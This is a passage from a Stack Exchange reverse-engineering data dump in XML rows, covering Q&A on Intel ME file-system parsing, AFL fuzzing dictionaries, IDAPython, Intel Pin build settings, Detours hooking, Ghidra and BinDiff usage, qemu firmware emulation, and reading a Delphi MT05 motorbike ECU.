mefs.allocation_table.entry_list[0].identifier&#xA;        print(&quot;looking up the first file (%s):&quot; % first_file)&#xA;        result_tuple = get_mfs_file(mefs, spi_image_file, MFS_OFFSET, first_file)&#xA;        if result_tuple:&#xA;            print(&quot;State: %x, data: %s\n&quot; % tuple(result_tuple))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Oh, you can dump the file list with:&#xA;&lt;code&gt;mefs.allocation_table.debug_print()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           b'UKS' len=0x0004 [pg=0x01 k=0x00 f=0x00] ty=0x0a st=0xdc, fg=0xf0&#xA;           b'LRT' len=0x01c0 [pg=0x01 k=0x00 f=0x01] ty=0x0e st=0xdc, fg=0xf0&#xA;           b'MIA' len=0x0003 [pg=0x01 k=0x02 f=0x01] ty=0x0e st=0xdc, fg=0xf0&#xA;           b'BLV' len=0x0004 [pg=0x01 k=0x02 f=0x02] ty=0x0a st=0xdc, fg=0xf0&#xA;           b'SDV' len=0x00ff [pg=0x01 k=0x02 f=0x03] ty=0x0a st=0xdc, fg=0xf0&#xA;           b'ICP' len=0x0042 [pg=0x01 k=0x03 f=0x01] ty=0x0e st=0xdc, fg=0xf0&#xA;        b'\x00NP' len=0x0001 [pg=0x01 k=0x04 f=0x01] ty=0x0e st=0xdc, fg=0xf0&#xA;           b'PPN' len=0x0042 [pg=0x01 k=0x04 f=0x02] ty=0x0e st=0xdc, fg=0xf0&#xA;           b'SCO' len=0x00af [pg=0x01 k=0x04 f=0x03] ty=0x0a st=0xdc, fg=0xf0&#xA;           b'PCO' len=0x0a24 [pg=0x01 k=0x05 f=0x01] ty=0x0a st=0xdc, fg=0xf0&#xA;           b'GFC' len=0x0004 [pg=0x01 k=0x07 f=0x01] ty=0x18 st=0xdc, fg=0xf0&#xA;           b'YHP' len=0x06fe [pg=0x01 k=0x07 f=0x02] ty=0x0a st=0xdc, fg=0xf0&#xA;           b'FCP' len=0x0002 [pg=0x01 k=0x09 f=0x01] ty=0x0b st=0xdc, fg=0xf0&#xA;           b'PPR' len=0x0001 [pg=0x01 k=0x09 f=0x02] ty=0x0b st=0xdc, fg=0xf0&#xA;           b'TCM' len=0x0005 [pg=0x01 k=0x09 f=0x03] ty=0x10 st=0xdc, fg=0xf0&#xA;           b'BHM' len=0x0004 [pg=0x01 k=0x09 f=0x04] ty=0x10 st=0xdc, fg=0xf0&#xA;           b'GCN' len=0x0018 [pg=0x01 k=0x09 f=0x05] ty=0x0e st=0xdc, fg=0xf0&#xA;           b'CSM' len=0x000f [pg=0x01 k=0x0a f=0x00] ty=0x0e st=0xdc, fg=0xf0&#xA;        b'\x00HS' len=0x0127 [pg=0x01 k=0x0a f=0x01] ty=0x0e st=0xdc, fg=0xf0&#xA;        b'\x01HS' len=0x0127 [pg=0x01 k=0x0b f=0x01] ty=0x0e st=0xdc, fg=0xf0&#xA;        b'\x02HS' len=0x0127 [pg=0x01 k=0x0c f=0x01] ty=0x0e st=0xdc, fg=0xf0&#xA;        b'\x03HS' len=0x0127 [pg=0x01 k=0x0d f=0x01] ty=0x0e st=0xdc, fg=0xf0&#xA;           b'PCF' len=0x0010 [pg=0x01 k=0x0e f=0x01] ty=0x0e st=0xdc, fg=0xf0&#xA;...&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="32667" LastEditorUserId="32667" LastEditDate="2020-04-07T20:52:43.383" LastActivityDate="2020-04-07T20:52:43.383" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24617" PostTypeId="2" ParentId="23499" CreationDate="2020-04-04T22:21:38.963" Score="1" Body="&lt;p&gt;Thanks to @julian's comment, I was able to search for more relevant terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this particular case, I decided to use &lt;a href=&quot;https://github.com/rc0r/afl-fuzz/blob/master/dictionaries/README.dictionaries&quot; rel=&quot;nofollow noreferrer&quot;&gt;AFL's&lt;/a&gt; &lt;a href=&quot;https://lcamtuf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html?m=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;dictionary mode&lt;/a&gt;, where you can give it a list of words that make up the target application's accepted syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's pretend the target application is an interactive calculator, which supports all basic mathmatical operators, e.g. &lt;code&gt;4 + 5&lt;/code&gt; or &lt;code&gt;500 / 2&lt;/code&gt;. For this, I would create a dictionary file with the following contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;+&quot;&#xA;&quot;-&quot;&#xA;&quot;*&quot;&#xA;&quot;/&quot;&#xA;&quot;^&quot;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition to a typical set of input cases, this file (or a directory of files with one valid piece of syntax each) would be passed to AFL with the &lt;code&gt;-x&lt;/code&gt; option, and AFL will try to create valid syntax to improve fuzzing coverage.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-04-04T22:21:38.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24618" PostTypeId="1" CreationDate="2020-04-05T09:03:05.190" Score="3" ViewCount="368" Body="&lt;p&gt;I've come across a troublesome process which refuses to allow CreateToolhelp32Snapshot().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also noticed that in sysinternals process explorer it shows &quot;Access Denied&quot; for other things too, such as file path, even when running as admin or even NT AUTHORITY\SYSTEM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea how they could've achieved this? The only way I could think of would be using some sort of kernel mode driver and doing some voodoo magic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any ideas&lt;/p&gt;&#xA;" OwnerUserId="32670" LastActivityDate="2020-04-05T20:27:24.420" Title="CreateToolhelp32Snapshot() access denied (while running as admin or even NT AUTHORITY\SYSTEM)" Tags="|windows|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24620" PostTypeId="2" ParentId="24597" CreationDate="2020-04-05T11:56:50.840" Score="2" Body="&lt;p&gt;If you rename things outside of pseudocode view, it’s not updated automatically and you need to press &lt;kbd&gt;F5&lt;/kbd&gt;to refresh decompilation with current data. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-05T11:56:50.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24623" PostTypeId="2" ParentId="1970" CreationDate="2020-04-05T19:50:49.197" Score="1" Body="&lt;p&gt;On Mac&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo unbuffer tshark -lni utun1 2&amp;gt;/dev/null |unbuffer -p grep TCP |tee /dev/tty | unbuffer -p awk -v ip=`ifconfig utun1 |grep inet |awk '{print $2}'` '{if($3==ip){print $8}else{print $10}}'  |unbuffer -p grep -owE &quot;[0-9]{1,5}&quot; |xargs  -I {} sh -c  'G=$(echo {}|tr -d &quot;\r&quot;); sudo lsof -i TCP -OPn -o | grep $G'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change &lt;code&gt;lsof -i TCP -OPn -o&lt;/code&gt; with &lt;code&gt;netstat -aptun&lt;/code&gt; for linux&lt;/p&gt;&#xA;" OwnerUserId="32678" LastActivityDate="2020-04-05T19:50:49.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24624" PostTypeId="2" ParentId="24618" CreationDate="2020-04-05T20:27:24.420" Score="-1" Body="&lt;p&gt;Turns out the process was using a driver, now I don't know what exactly that driver was doing (probably some voodoo magic). But it was preventing CreateToolhelp32Snapshot() and some other stuff.&lt;/p&gt;&#xA;" OwnerUserId="32670" LastActivityDate="2020-04-05T20:27:24.420" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24626" PostTypeId="2" ParentId="23528" CreationDate="2020-04-06T08:43:11.493" Score="1" Body="&lt;p&gt;Just print address as hex-value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(&quot;%08x&quot; % func_address)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in Output window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;print(0x1001CC80)&#xA;268553344     # &amp;lt;---- this is not clickable&#xA;Python&amp;gt;print(&quot;%08x&quot; % 0x1001CC80)&#xA;1001cc80      # &amp;lt;---- this is clickable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22987" LastEditorUserId="245" LastEditDate="2020-05-06T13:19:50.577" LastActivityDate="2020-05-06T13:19:50.577" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24627" PostTypeId="2" ParentId="18727" CreationDate="2020-04-06T13:07:34.177" Score="1" Body="&lt;p&gt;IDAPython-function &lt;code&gt;get_frame_size(ea)&lt;/code&gt; gives size of stack in bytes.&#xA;So you can get max stack through all available functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;0x%04X&quot; % max(get_frame_size(f) for f in Functions(0, BADADDR))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22987" LastActivityDate="2020-04-06T13:07:34.177" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24629" PostTypeId="1" AcceptedAnswerId="24630" CreationDate="2020-04-06T15:28:02.437" Score="5" ViewCount="17264" Body="&lt;p&gt;The ECU (Engine Control Unit) MT05 from Delphi is used today in many motorbikes and ATV's:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Regal Raptor (Raptor, Daytona and Spider 350)&lt;/li&gt;&#xA;&lt;li&gt;AJP (PR7)&lt;/li&gt;&#xA;&lt;li&gt;Benelli (BN600)&lt;/li&gt;&#xA;&lt;li&gt;CFmoto (Terralander X8)&lt;/li&gt;&#xA;&lt;li&gt;Zongshen (RX3)&lt;/li&gt;&#xA;&lt;li&gt;Zhejiang (TR125)&lt;/li&gt;&#xA;&lt;li&gt;Hyosung (GT650RC)&lt;/li&gt;&#xA;&lt;li&gt;Scomadi scooters&lt;/li&gt;&#xA;&lt;li&gt;Riya scooters&lt;/li&gt;&#xA;&lt;li&gt;Quadro scooters&lt;/li&gt;&#xA;&lt;li&gt;and more... &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But this ECU is not OBD2 compliant and so all current OBD2 scanner software will fail to read even the most basic parameters like &quot;Engine speed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to read the current fault code (DTC).&#xA;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5ziY0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ziY0.jpg&quot; alt=&quot;Delphi MT05 ECU&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16186" LastEditorUserId="16186" LastEditDate="2020-04-06T18:04:41.540" LastActivityDate="2022-08-02T21:44:13.293" Title="How to scan the ECU Delphi MT05?" Tags="|ecu|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24630" PostTypeId="2" ParentId="24629" CreationDate="2020-04-06T15:28:02.437" Score="11" Body="&lt;p&gt;After investigating a lot I found that there is only one software able to communicate with this ECU.&#xA;It is the ancient &lt;strong&gt;PCHUD&lt;/strong&gt; from Delco which is mentioned in the manual of the Delphi MT05.&lt;/p&gt;&#xA;&lt;p&gt;But this program has been written in 1993 for Windows 3.&#xA;It does not run on a 64 bit Windows which is the standard nowadays.&#xA;It is quite primitive and does not support ELM 327 adapters (which did not exist in 1993)&lt;/p&gt;&#xA;&lt;p&gt;So I began to reverse engineer this old software (which was difficult to find) and wrote my own program which now replaces it: &lt;strong&gt;HUD ECU Hacker&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I designed HUD ECU Hacker as &amp;quot;community software&amp;quot;.&#xA;This means that the program is 100% configurable by the user in an XML file.&#xA;This &amp;quot;parameter file&amp;quot; contains the commands sent to the ECU and how to interpret the responses.&#xA;This allows to adapt HUD ECU Hacker also to other ECU's.&lt;/p&gt;&#xA;&lt;p&gt;Meanwhile also the Liteon MC21, Lifan EFI 9 and Yeson 28S ECUs have been added. Also support for &lt;strong&gt;CAN bus&lt;/strong&gt; (OBD2 scanning and sniffing) has been added. Supported protocols: ISO9141, ISO14230, ISO15765, CAN Raw.&lt;/p&gt;&#xA;&lt;p&gt;The program is still growing. I added lots of new features in the last months.&lt;/p&gt;&#xA;&lt;p&gt;Now it can also download the &lt;strong&gt;flash memory&lt;/strong&gt; from the MT05 ECU with the calibration tables, correct the checksum and program the flash memory (tuning).&lt;/p&gt;&#xA;&lt;p&gt;HUD ECU Hacker finds &lt;strong&gt;calibration tables&lt;/strong&gt; automatically in a flash memory file. It finds approx 170 tables and 500 scalar values.&#xA;Calibration tables can also be displayed as 3D model.&lt;/p&gt;&#xA;&lt;p&gt;Download and detailed description here:&#xA;&lt;a href=&quot;https://netcult.ch/elmue/HUD%20ECU%20Hacker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://netcult.ch/elmue/HUD%20ECU%20Hacker/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XTK5s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XTK5s.png&quot; alt=&quot;HUD ECU Hacker Control&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/poGcy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/poGcy.png&quot; alt=&quot;HUD ECU Hacker Dashboard&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tX8PI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tX8PI.png&quot; alt=&quot;HUD ECU Hacker Graph&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tIzbr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tIzbr.png&quot; alt=&quot;HUD ECU Hacker Delphi MT05 Calibration Table Tuning&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z0N7f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z0N7f.png&quot; alt=&quot;HUD ECU Hacker Delphi MT05  Calibration Table Tuning 3D&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16186" LastEditorUserId="16186" LastEditDate="2022-08-02T21:44:13.293" LastActivityDate="2022-08-02T21:44:13.293" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24631" PostTypeId="2" ParentId="11328" CreationDate="2020-04-06T16:05:12.483" Score="1" Body="&lt;p&gt;Carlos's answer is more of a workaround, but it's so much spot on. Getting all the right knobs right is an insane job. And even more so with &lt;a href=&quot;https://groups.io/g/pinheads/message/11967&quot; rel=&quot;nofollow noreferrer&quot;&gt;version 3&lt;/a&gt; that switched away from whatever native runtime the OS may have, and started to use their own. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After half a day reversing the examples, I could come up with this (I'm assuming a 64 bit Windows target, but it shouldn't be difficult to notice what's architecture specific)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all you should get the include folders right (make sure to set &lt;em&gt;PIN_ROOT&lt;/em&gt; in the first place though)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(PIN_ROOT)\source\include\pin;$(PIN_ROOT)\source\include\pin\gen;$(PIN_ROOT)\source\tools\InstLib;$(PIN_ROOT)\extras\xed-intel64\include\xed;$(PIN_ROOT)\extras\components\include;$(PIN_ROOT)\extras\stlport\include;$(PIN_ROOT)\extras;$(PIN_ROOT)\extras\libstdc++\include;$(PIN_ROOT)\extras\crt\include;$(PIN_ROOT)\extras\crt;$(PIN_ROOT)\extras\crt\include\arch-x86;$(PIN_ROOT)\extras\crt\include\kernel\uapi;$(PIN_ROOT)\extras\crt\include\kernel\uapi\asm-x86;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, set these flags in the compiler: &lt;code&gt;/MT /GR- /GS- /EHs- /EHa- /fp:strict /Oi- /FIinclude/msvc_compat.h&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And these defines for the preprocessor: &lt;code&gt;TARGET_IA32E;HOST_IA32E;TARGET_WINDOWS;WIN32;__PIN__=1;PIN_CRT=1;__LP64__&lt;/code&gt; (please, really pay attention to the first two.. IA32&lt;strong&gt;&lt;em&gt;E&lt;/em&gt;&lt;/strong&gt; means x86-64 and their wrong combination can lead to countless ungodly issues with symbols and whatnot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that with the exception of like 3 headers (&lt;em&gt;[xmm]intrin.h&lt;/em&gt; and somewhat limitedly &lt;em&gt;windows.h&lt;/em&gt;) you cannot use any other one outside of pintool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next there is the linker. You need these folders &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(PIN_ROOT)\intel64\lib;$(PIN_ROOT)\intel64\lib-ext;$(PIN_ROOT)\extras\xed-intel64\lib;$(PIN_ROOT)\intel64\runtime\pincrt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and these libraries, in the absolutest correct order (&lt;code&gt;/NODEFAULTLIB&lt;/code&gt; is recommended)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pin.lib;xed.lib;pinvm.lib;kernel32.lib;pincrt.lib;ntdll-64.lib;crtbeginS.obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;code&gt;stlport-static.lib&lt;/code&gt;, &lt;code&gt;m-static.lib&lt;/code&gt;, &lt;code&gt;c-static.lib&lt;/code&gt; and &lt;code&gt;os-apis.lib&lt;/code&gt; may also be needed in more complex situations)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least, you should add &lt;code&gt;/export:main /SAFESEH:NO /IGNORE:4210 /IGNORE:4049&lt;/code&gt; to the linker command line. For anything else give a check to the &lt;a href=&quot;https://software.intel.com/sites/default/files/managed/8e/f5/PinCRT.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;PinCRT whitepaper&lt;/a&gt;, whose reading I cannot recommend enough. &lt;/p&gt;&#xA;" OwnerUserId="18132" LastEditorUserId="18132" LastEditDate="2020-04-11T16:58:10.020" LastActivityDate="2020-04-11T16:58:10.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24632" PostTypeId="1" CreationDate="2020-04-06T17:31:13.457" Score="1" ViewCount="370" Body="&lt;p&gt;I'm trying to hook a function using Detours for the first time. I'm new to reversing software and to hooking, so I may have missed something big here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use this function as a hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef  int (__thiscall* func_type)(LPVOID*, LPVOID*, DWORD, BOOL);&#xA;LPVOID hookaddr = 0;&#xA; int __fastcall testhook(LPVOID* pThis, void* _EDX, LPVOID* object, DWORD hp, BOOL self)&#xA;{&#xA;    std::cout &amp;lt;&amp;lt; &quot;Hooked&quot;  &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    func_type originalFunc = (func_type)hookaddr;&#xA;&#xA;    return originalFunc(pThis, object, hp, self);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem lies in the fact that the hooked function seems to follow &lt;code&gt;__thiscall&lt;/code&gt; convention and Detours doesn't seem to be allowing this? I tried mixing &lt;code&gt;__thiscall&lt;/code&gt; and &lt;code&gt;__stdcall/__fastcall&lt;/code&gt; conventions in my injected dll, but couldn't get anything working. I either end up with a wrong &lt;code&gt;ecx&lt;/code&gt; value or a crash due to an invalid &lt;code&gt;esp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I could try here?&lt;/p&gt;&#xA;" OwnerUserId="19817" LastActivityDate="2021-01-02T09:05:15.657" Title="Detours not cleaning the stack correctly" Tags="|function-hooking|calling-conventions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24633" PostTypeId="1" CreationDate="2020-04-06T18:38:31.643" Score="4" ViewCount="2727" Body="&lt;p&gt;This is a follow up question to the question I posted over &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/24614/way-to-get-all-the-function-prototype-using-ghidra?answertab=oldest#tab-top&quot;&gt;here&lt;/a&gt;. According to the answer, I was able to get all the function prototypes from the binary. However, the problem I am having is most of the function signatures I am getting does not have parameters while the actual decompiled version of the same function (with the use of decompile script which is already provided by Ghidra) have parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a function signature as &lt;code&gt;undefined HAL_TIMEx_OnePulseN_Stop_IT(void)&lt;/code&gt; that was given by the above linked answer, while in the decompiled file (taken from running the ghidra provided Decompile.java script) I have it's signature as &lt;code&gt;undefined4 HAL_TIMEx_OnePulseN_Stop_IT(uint **param_1,uint param_2)&lt;/code&gt; which I believe to be more accurate as I cross-checked with the actual source of the binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the reason for such an inconsistency? Is there anyway that I could get the function parameters in the form of decompiled version? I was trying to use &lt;code&gt;DecompInterface&lt;/code&gt; but I could not figure out the way to extract the prototypes as if they were in decompiled version. Sorry I am a beginner and just started to work with Ghidra. Thank you for your time. &lt;/p&gt;&#xA;" OwnerUserId="31454" LastActivityDate="2020-05-10T21:34:34.300" Title="Function prototypes given by Ghidra is not consistent" Tags="|binary-analysis|firmware|radare2|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24634" PostTypeId="1" AcceptedAnswerId="24659" CreationDate="2020-04-06T20:35:58.293" Score="0" ViewCount="3357" Body="&lt;p&gt;BLUF: When executing &lt;code&gt;sudo chroot . ./qemu-mipsel-static ./bin/busybox&lt;/code&gt; from the squashfs-root folder the error &lt;code&gt;/lib/ld-uClibc.so.0: No such file or directory&lt;/code&gt; is returned. Failing to figure out how to fix the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am in the early stages of analyzing a firmware update for a consumer router. Busybox is included with the firmware and I am trying to see what I can run with it in an emulated environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that a version of the uClibc library is included with the firmware: &lt;code&gt;/lib/ld-uClibc-0.9.29.so&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried symlinking ld-uClibc-0.9.29.so to ld-uClibc.so.0 but I receive &lt;code&gt;ln: failed to create symbolic link 'ld-uClibc.so.0': Operation not permitted&lt;/code&gt; so my understanding of the symbolic linking process in this context is certainly coming up short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get qemu-mipsel-static to recognize the library? Do I need to install a different library?&lt;/p&gt;&#xA;" OwnerUserId="32685" LastActivityDate="2020-04-08T20:16:34.273" Title="ld-uClibc.so.0: No Such file or directory when running qemu-mipsel-static" Tags="|qemu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24635" PostTypeId="2" ParentId="24633" CreationDate="2020-04-06T21:33:36.170" Score="5" Body="&lt;p&gt;So, I found out the reason. By default when the ghidra asks for options when we load the binary, &lt;code&gt;Decompiler Parameter ID&lt;/code&gt; option is disabled. Once you enable it, you will have the function parameters correctly. It will take longer time to make the analysis once this option is enabled. &lt;/p&gt;&#xA;" OwnerUserId="31454" LastActivityDate="2020-04-06T21:33:36.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24636" PostTypeId="2" ParentId="22372" CreationDate="2020-04-06T21:59:46.863" Score="8" Body="&lt;p&gt;Yes, this is now possible with Ghidra.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest version, BinDiff 6, has experimental support for the Ghidra disassembler. It ships with an extension that allows to export Ghidra disassembly into the .BinExport format needed for diffing.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Required software&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BinDiff 6 from the &lt;a href=&quot;https://www.zynamics.com/software.html&quot; rel=&quot;noreferrer&quot;&gt;zynamics website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;A recent Java runtime (OpenJDK 11 or later)&lt;/li&gt;&#xA;&lt;li&gt;Ghidra 9.1.2 (&lt;a href=&quot;https://ghidra-sre.org/releaseNotes_9.1.2.html&quot; rel=&quot;noreferrer&quot;&gt;https://ghidra-sre.org/releaseNotes_9.1.2.html&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Installing the Ghidra Extension&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After installing BinDiff, locate the &quot;BinExport&quot; extension in your installation folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The defaults are&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows: &lt;code&gt;C:\Program Files\BinDiff\extra\ghidra&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Linux: &lt;code&gt;/opt/bindiff/extra/ghidra&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;macOS: &lt;code&gt;/Applications/BinDiff/Extra/Ghidra&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have located the &lt;code&gt;ghidra_BinExport.zip&lt;/code&gt; file, the extension can be installed like any other Ghidra extension:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start Ghidra, then select &lt;code&gt;File&lt;/code&gt;|&lt;code&gt;Install Extensions...&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Click the &lt;code&gt;+&lt;/code&gt; button to &lt;code&gt;Add extension&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;code&gt;Select Extension&lt;/code&gt; dialog, navigate to the directory containing&#xA;&lt;code&gt;ghidra_BinExport.zip&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the .zip file and click &lt;code&gt;OK&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;OK&lt;/code&gt; to confirm and again to dismiss the restart message. Then restart&#xA;Ghidra.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Usage&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This version of the Java based exporter for Ghidra has the following features&#xA;compared to the native C++ version for IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|                                         | Ghidra | IDA |&#xA;| --------------------------------------- | ------ | --- |&#xA;| Protocol Buffer based full export       |    ✓¹  |  ✓  |&#xA;| Statistics text file                    |    -   |  ✓  |&#xA;| Text format for debugging               |    -   |  ✓  |&#xA;| BinNavi export into PostgreSQL database |    -   |  ✓  |&#xA;&#xA;¹ No operand trees&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Verifying the installation version&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In Ghidra, select &lt;code&gt;File&lt;/code&gt;|&lt;code&gt;Install Extensions...&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Verify that &lt;code&gt;BinExport&lt;/code&gt; is listed and has the correct &lt;code&gt;Install Path&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Invocation&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In Ghidra, open a project or create a new one.&lt;/li&gt;&#xA;&lt;li&gt;If not already done, open the binary to export in the Code Browser tool and&#xA;run Ghidra's initial analysis. You may want to enable the &quot;aggressive&#xA;instruction finder&quot; option to get better coverage in the export.&lt;/li&gt;&#xA;&lt;li&gt;In the project view, right-click the binary to export and select &lt;code&gt;Export...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;From the drop-down list, select &lt;code&gt;Binary BinExport (v2) for BinDiff&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select a path for the output file. This can be the original filename, as&#xA;&lt;code&gt;.BinExport&lt;/code&gt; will be appended.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;OK&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;BinDiff Exported Files&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Exported files can now be diffed and the results displayed in its UI:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export two binaries following the instructions above. The&#xA;following steps assume &lt;code&gt;primary.BinExport&lt;/code&gt; and 